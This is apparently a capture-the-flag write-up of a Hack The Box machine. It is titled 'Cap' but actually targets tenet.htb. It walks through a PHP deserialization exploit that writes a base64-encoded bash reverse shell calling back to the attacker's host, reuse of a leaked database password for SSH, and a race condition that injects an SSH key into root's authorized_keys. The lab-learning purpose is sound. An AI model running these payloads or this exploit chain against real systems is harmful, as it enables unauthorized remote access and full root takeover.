5 minute read

There are spoilers below for the Hack The Box box named Cap. Stop reading here if you do not want spoilers!!!


Beginning this box as every box, with a nmap scan of the box to locate open ports.

$ sudo nmap -sC -sV -oA nmap/tenet
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-07 20:00 EDT
Nmap scan report for
Host is up (0.079s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.61 seconds


The box appears to have only two open ports (80 and 22). Visiting port 80, it appears to be an Apache site, so then running gobuster on it locates an interesting directory:

$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -u
/wordpress (Status: 301}

Visiting the /wordpress URL in Firefox gives a badly formatted Wordpress site, which looks like it’s trying to add resources from tenet.htb. So we may add tenet.htb to our /etc/hosts file.

Browsing the site, I see a user neil posted a comment:

did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!

So that’s interesting, it sounds like there’s a “sator” php file (maybe sator.php?). Visiting http://tenet.htb/sator.php gives a 404 error, but remembering from before, we’re within the /wordpress directory, so what about Success!!

This sator.php script is printing the following:

[+] Grabbing users from text file
[] Database updated

The comment from neil on the Wordpress form mentioned a backup file, so accessing and it exists!


class DatabaseExport
        public $user_file = 'users.txt';
        public $data = '';

        public function update_db()
                echo '[+] Grabbing users from text file <br>';
                $this-> data = 'Success';

        public function __destruct()
                file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
                echo '[] Database updated <br>';
        //      echo 'Gotta get this working properly...';

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


Examining this PHP script, we may see that it is receiving user input via arepo variable, passing that to unserialize, then calling the DatabaseExport class. This looks like a classic example of PHP object deserialization. Basically, from my understanding, what is happening is that PHP will allow you to serialize a class and all of the data within it into a string which may then be deserialized back into a class. Then when the control flow exits, the __destruct function is called on it. In this example, the __destruct function writes the data value to user_file. More on PHP deserialization may be read here.

Since we know the name of the class (DatabaseExport) as well as the variable names (user_file and data), we can construct a payload that is a deserialized PHP object that will allow us to write data out to an arbitrary output file of our choice.

For this payload, we will write out to a PHP file with a very basic reverse shell.

To begin with, the reverse shell that I’d like to attempt is the following:

/bin/bash -c 'bash -i > /dev/tcp/ 0>&1'

Wrapping this in a PHP script to execute it, I get:

<?php exec("/bin/bash -c 'bash -i > /dev/tcp/ 0>&1'"); ?>

However, I forsee a problem here. Specifically the “&” character, which in a URL is treated as a special delimiter and might throw the payload off. So instead I’m going to base64 encode the reverse shell payload:

$ echo "/bin/bash -c 'bash -i > /dev/tcp/ 0>&1'" | base64

Then, use the base64_decode function in PHP to decode it before executing it:

<?php exec(base64_decode("L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTAuMTAuMTQuMjA0LzkwMDAgMD4mMScK"));

So that’s the payload I want to eventually write to a file.

Next up, I need to serialize that and put it into a proper payload that will deserialize correctly. For this, I’ll construct the following payload:

O:14:"DatabaseExport":2:{s:9:"user_file";s:10:"rshell.php";s:4:"data";s:106:"<?php exec(base64_decode("L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTAuMTAuMTQuMjA0LzkwMDAgMD4mMScK"));";}

Above we begin with “O” (the letter Oh, not the number zero) to tell PHP that this is an object, followed by the length of the name (14) and the name (“DatabaseExport”). Next the “2” tells PHP that there are two elements in the next section. Within the section we use “s” to denote a string, then “9” for the length of the next string, which is the name of the variable, and the variable itself (“user_file”). Following that we have the same format to provide the variable contents (“rshell.php”). This is then repeated for the “data” variable to contain our payload.

If all goes well, this should generate a file named “rshell.php” which contains the payload to generate a reverse shell.

When using FireFox, the payload may be directly pasted in and FireFox will encode it. However, I like to be a little cautious and pre-encode before uploading.

$ hURL -U 'O:14:"DatabaseExport":2:{s:9:"user_file";s:10:"rshell.php";s:4:"data";s:106:"<?php exec(base64_decode("L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTAuMTAuMTQuMjA0LzkwMDAgMD4mMScK"));";}'

Original    :: O:14:"DatabaseExport":2:{s:9:"user_file";s:10:"rshell.php";s:4:"data";s:106:"<?php exec(base64_decode("L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTAuMTAuMTQuMjA0LzkwMDAgMD4mMScK"));";}
URL ENcoded :: O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A10%3A%22rshell.php%22%3Bs%3A4%3A%22data%22%3Bs%3A106%3A%22%3C%3Fphp%20exec%28base64_decode%28%22L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTAuMTAuMTQuMjA0LzkwMDAgMD4mMScK%22%29%29%3B%22%3B%7D

Now that we have the URL encoded payload, we may submit this via the PHP page.

$ curl '' 

Setting up a netcat listener and visiting the page, we receive a successful callback.

$ nc -lnvp 9000
listening on [any] 9000 ...
connect to [] from (UNKNOWN) [] 29836
python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@tenet:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We’ve successfully logged in as the www-data user!


Now we need to enumerate and determine exactly what we can do. For this I ran linpeas.sh to locate anything useful, which found the MySQL login information

Mysql Database: wordpress
Mysql User: neil
Mysql Pass: Opera2112

Quickly checking those credentials, the user neil has the same password for SSH, so we now have SSH access as neil.

An additional note is that the script /usr/local/bin/enableSSH.sh may be executed by sudo by all users. However, without the www-data password, that wasn’t possible. But now that we have neil, that’s possible.

Taking a closer look at the enableSSH.sh script, it appears to have a hardcoded SSH public key inside of it, it then writes that key to a temporary file, then echos that temporary file into /root/.ssh/authorized_keys. If we’re able to somehow intercept that temporary file after it is created but before it is sent into the root SSH keys, we can inject our own key into it. This is basically a race condition.

To do this, we could use python since that’s on the box, but it’s also possible to do this with a simple bash script.

$ while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAA...AlU= kali@kali" | tee /tmp/ssh-* >/dev/null; done

The above will loop continuously and copy our SSH public key into the /tmp/ssh-* file path if/when it exists. This took a couple times before it successfully worked.

$ sudo /usr/local/bin/enableSSH.sh

After executing the above a few times to make sure that the SSH key has made it in, we can then SSH in as root!